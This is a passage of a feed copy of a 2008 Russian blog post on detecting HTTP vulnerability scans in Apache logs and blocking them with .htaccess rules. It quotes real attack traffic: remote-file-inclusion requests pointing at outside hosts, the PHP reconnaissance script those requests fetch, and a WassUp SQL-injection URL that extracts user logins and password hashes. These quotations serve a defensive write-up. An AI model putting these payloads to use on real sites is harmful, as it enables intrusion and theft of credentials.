	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fsecurity%2F362-incorrect-way-to-integrate-payment-gateways%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Минимизируем неприятные последствия HTTP-сканирования]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457980272/" />
		<id>http://blog.sjinks.org.ua/?p=361</id>
		<updated>2008-11-19T04:45:26Z</updated>
		<published>2008-11-19T04:45:26Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="security" /><category scheme="http://blog.sjinks.org.ua" term="attack" /><category scheme="http://blog.sjinks.org.ua" term="scanning" /><category scheme="http://blog.sjinks.org.ua" term="vulnerability" /><category scheme="http://blog.sjinks.org.ua" term="атака" /><category scheme="http://blog.sjinks.org.ua" term="безопасность" /><category scheme="http://blog.sjinks.org.ua" term="сканирование" /><category scheme="http://blog.sjinks.org.ua" term="уязвимость" />		<summary type="html"><![CDATA[Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.
Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/">&lt;p&gt;Анализируя логи Апача после полуторамесячного &lt;a href="http://blog.sjinks.org.ua/kuzbass-2008/"&gt;отпуска&lt;/a&gt;, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.&lt;/p&gt;
&lt;p&gt;Если Вы всё еще читаете &lt;img src="http://blog.sjinks.org.ua/wp-includes/images/smilies/icon_smile.gif" alt=":-)"/&gt;, то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.&lt;span id="more-361"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36115"&gt;
        &lt;div class="code apache_log" id="p361code15"&gt;
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 69530 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] &amp;quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] &amp;quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90888 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &amp;quot;GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &amp;quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86208 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] &amp;quot;GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 71829 &amp;quot;-&amp;quot; &lt;br /&gt;
&amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] &amp;quot;GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90948 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] &amp;quot;GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86232 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 69530 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] &amp;quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] &amp;quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90888 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] &amp;quot;GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] &amp;quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86208 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] &amp;quot;GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 76404 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.8&lt;br /&gt;
05&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл &lt;code&gt;&amp;#x68;ttp://www.mykr.net/bbs/id.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36116"&gt;
        &lt;div class="code php" id="p361code16"&gt;
&lt;span class="kw2"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ryey&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw3"&gt;php_uname&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb2&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;system&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;uptime&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb3&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;system&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;id&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb4&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw3"&gt;getcwd&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb5&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;getenv&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;SERVER_SOFTWARE&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb6&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;phpversion&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb7&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="re0"&gt;$_SERVER&lt;/span&gt;&lt;span class="br0"&gt;&amp;#91;&lt;/span&gt;&lt;span class="st_h"&gt;'SERVER_NAME'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#93;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb8&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;gethostbyname&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="re0"&gt;$SERVER_ADDR&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb9&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;get_current_user&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$os&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw2"&gt;PHP_OS&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;os: $os&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;uname -a: $alb&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;uptime: $alb2&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;id: $alb3&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;pwd: $alb4&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;user: $alb9&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;phpv: $alb6&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;SoftWare: $alb5&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ServerName: $alb7&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ServerAddr: $alb8&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ryey ONLINE&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;exit&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw2"&gt;?&amp;gt;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36117"&gt;
        &lt;div class="code output" id="p361code17"&gt;
ryey&lt;br /&gt;
os: Linux&lt;br /&gt;
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64&lt;br /&gt;
uptime: &amp;nbsp;04:44:54 up 13:51, &amp;nbsp;3 users, &amp;nbsp;load average: 0.37, 0.26, 0.20&lt;br /&gt;
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...&lt;br /&gt;
pwd: /home/test&lt;br /&gt;
user: &lt;br /&gt;
phpv: 5.2.6-2ubuntu4&lt;br /&gt;
SoftWare: &lt;br /&gt;
ServerName: &lt;br /&gt;
ServerAddr: &lt;br /&gt;
ryey ONLINE
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.&lt;/p&gt;
&lt;p&gt;Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.&lt;/p&gt;
&lt;p&gt;Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 &lt;a href="http://bugs.typo3.org/view.php?id=9604&amp;#038;nbn=8" rel="nofollow"&gt;частично подвержена&lt;/a&gt; данной уязвимости:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36118"&gt;
        &lt;div class="code output" id="p361code18"&gt;
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).&lt;/p&gt;
&lt;p&gt;Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл.  Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.&lt;/p&gt;
&lt;p&gt;Сканирование может быть не таким явным: например,&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36119"&gt;
        &lt;div class="code output" id="p361code19"&gt;
&amp;quot;GET /_vti_bin/owssvr.dll?UL=1&amp;amp;ACT=4&amp;amp;BUILD=6254&amp;amp;STRMVER=4&amp;amp;CAPREQ=0 HTTP/1.1&amp;quot;&lt;br /&gt;
&amp;quot;GET /MSOffice/cltreq.asp?UL=1&amp;amp;ACT=4&amp;amp;BUILD=6254&amp;amp;STRMVER=4&amp;amp;CAPREQ=0 HTTP/1.1&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Так как я &lt;em&gt;знаю&lt;/em&gt;, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll&amp;nbsp;&amp;mdash;&amp;nbsp;это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;blockquote&gt;It is an attempt to gain admin rights (hack).&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote cite="http://www.smarterscripts.com/forums/archive/index.php/t-306.html"&gt;You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.
&lt;p&gt;If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?&lt;/p&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;У каждого свой уровень паранойи (&lt;q&gt;my paranoia is probably worse&lt;/q&gt;), так что смотрите сами.&lt;/p&gt;
&lt;p&gt;Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36120"&gt;
        &lt;div class="code output" id="p361code20"&gt;
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;пытается использовать уязвимость плагина &lt;a href="http://blog.sjinks.org.ua/?s=Wassup"&gt;WassUp&lt;/a&gt;; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.&lt;/p&gt;
&lt;p&gt;Частыми гостями в логе &lt;a href="http://blog.sjinks.org.ua/?s=nginx"&gt;nginx&lt;/a&gt; являются запросы вида&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36121"&gt;
        &lt;div class="code apache_log" id="p361code21"&gt;
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] &amp;quot;GET http://www.intel.com/ HTTP/1.1&amp;quot; 403 529 &amp;quot;-&amp;quot; &amp;quot;Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Запросы рассчитаны на ошибки в реализациях прокси-серверов.&lt;/p&gt;
&lt;p&gt;Теперь переходим к вопросам анализа и противодействия.&lt;/p&gt;
&lt;p&gt;Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36122"&gt;
        &lt;div class="code bash" id="p361code22"&gt;
&lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="re5"&gt;-E&lt;/span&gt; &lt;span class="st0"&gt;'HTTP/1&lt;span class="es0"&gt;\.&lt;/span&gt;[01]&amp;quot; 404 '&lt;/span&gt; apache-log.txt &lt;span class="sy0"&gt;&amp;gt;&lt;/span&gt; 404.txt
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи &lt;code class="codebox bash"&gt;&lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="re5"&gt;-v&lt;/span&gt;&lt;/code&gt;, я не буду на этом подробно останавливаться.&lt;/p&gt;
&lt;p&gt;Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36123"&gt;
        &lt;div class="code bash" id="p361code23"&gt;
&lt;span class="kw2"&gt;cat&lt;/span&gt; 404.txt | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ print $1 }'&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; | &lt;span class="kw2"&gt;uniq&lt;/span&gt; &lt;span class="re5"&gt;-c&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; &lt;span class="re5"&gt;-n&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36124"&gt;
        &lt;div class="code bash" id="p361code24"&gt;
&lt;span class="kw2"&gt;cat&lt;/span&gt; 404.txt | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ print $1 }'&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; | &lt;span class="kw2"&gt;uniq&lt;/span&gt; &lt;span class="re5"&gt;-c&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; &lt;span class="re5"&gt;-n&lt;/span&gt; | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ if ($1 &amp;gt; 100) { system(&amp;quot;cat 404.txt | grep &amp;quot; $2 &amp;quot; &amp;gt;&amp;gt; filtered.txt&amp;quot;); } }'&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Файл &lt;code&gt;filtered.txt&lt;/code&gt; будет содержать интересующие нас запросы.&lt;/p&gt;
&lt;p&gt;Проанализировав &lt;em&gt;свой&lt;/em&gt; файл, я пришел к следующим результатам:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
&lt;pre class="code"&gt;
//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt&lt;strong style="color: red"&gt;?&lt;/strong&gt;
/sub.php?sub=http://61.19.234.26/test.txt&lt;strong style="color: red"&gt;???&lt;/strong&gt;
/admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt&lt;strong style="color: red"&gt;??&lt;/strong&gt;
&lt;/pre&gt;
Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как &lt;code&gt;%3F&lt;/code&gt;. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;&lt;/li&gt;
&lt;li&gt;запросы, ищущие уязвимости в реализации прокси, имеют вид &lt;code&gt;GET http://...&lt;/code&gt; или &lt;code&gt;GET /http://...&lt;/code&gt;. Тоже достаточно просто отловить.&lt;/li&gt;
&lt;li&gt;из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
&lt;pre class="code"&gt;
203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml&lt;strong style="color: red"&gt;///&lt;/strong&gt;safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml&lt;strong style="color: red"&gt;//&lt;/strong&gt;wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
&lt;/pre&gt;
Удвоенный еще куда ни шло, но утроенный&amp;nbsp;&amp;mdash;&amp;nbsp;это перебор;&lt;/li&gt;
&lt;li&gt;у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо &lt;a href="http://blog.sjinks.org.ua/uncategorized/298-power-and-beauty-of-perl/"&gt;Perl&amp;nbsp;&amp;mdash;&amp;nbsp;истинно хакерский язык&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры &lt;code&gt;../&lt;/code&gt; (Linux/Windows) и/или &lt;code&gt;..\&lt;/code&gt; (Windows). Тоже легко ловится;&lt;/li&gt;
&lt;li&gt;как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их &lt;em&gt;может&lt;/em&gt; найти. А это именно то, что мы хотим избежать.&lt;/p&gt;
&lt;p&gt;А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36125"&gt;
        &lt;div class="code apache" id="p361code25"&gt;
&amp;lt;&lt;span class="kw3"&gt;IfModule&lt;/span&gt; mod_rewrite.c&amp;gt;&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteEngine&lt;/span&gt; &lt;span class="kw2"&gt;On&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} [^?]*\? [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (\.\./|\.\.\\) [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (///) [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{THE_REQUEST} &lt;span class="st0"&gt;&amp;quot;^(GET|POST) /?https?:&amp;quot;&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteRule&lt;/span&gt; (.*) $&lt;span class="nu0"&gt;1&lt;/span&gt; [F]&lt;br /&gt;
&amp;lt;/&lt;span class="kw3"&gt;IfModule&lt;/span&gt;&amp;gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Первый &lt;code class="codebox apache"&gt;&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt;&lt;/code&gt; рассчитан на ботов, которые используют слишком много знаков вопроса, второй&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто пытается сделать обход файловой системы, третий&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто перебарщивает со слэшами и четвёртый&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто пытается найти уязвимый прокси.&lt;/p&gt;
&lt;p&gt;Данное решение не является панацеей, но, тем не менее, довольно действенное.&lt;/p&gt;
&lt;p&gt;Есть одно очень радикальное средство: запретить доступ всем &lt;code&gt;libwww-perl&lt;/code&gt;:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36126"&gt;
        &lt;div class="code apache" id="p361code26"&gt;
&lt;span class="kw1"&gt;SetEnvIf&lt;/span&gt; User-Agent &lt;span class="st0"&gt;&amp;quot;^libwww-perl&amp;quot;&lt;/span&gt; badua&lt;br /&gt;
&lt;span class="kw1"&gt;Order&lt;/span&gt; &lt;span class="kw1"&gt;Allow&lt;/span&gt;,&lt;span class="kw1"&gt;Deny&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;Allow&lt;/span&gt; &lt;span class="kw1"&gt;from&lt;/span&gt; &lt;span class="kw1"&gt;all&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;Deny&lt;/span&gt; &lt;span class="kw1"&gt;from&lt;/span&gt; env=badua
        &lt;/div&gt;
    &lt;/div&gt;
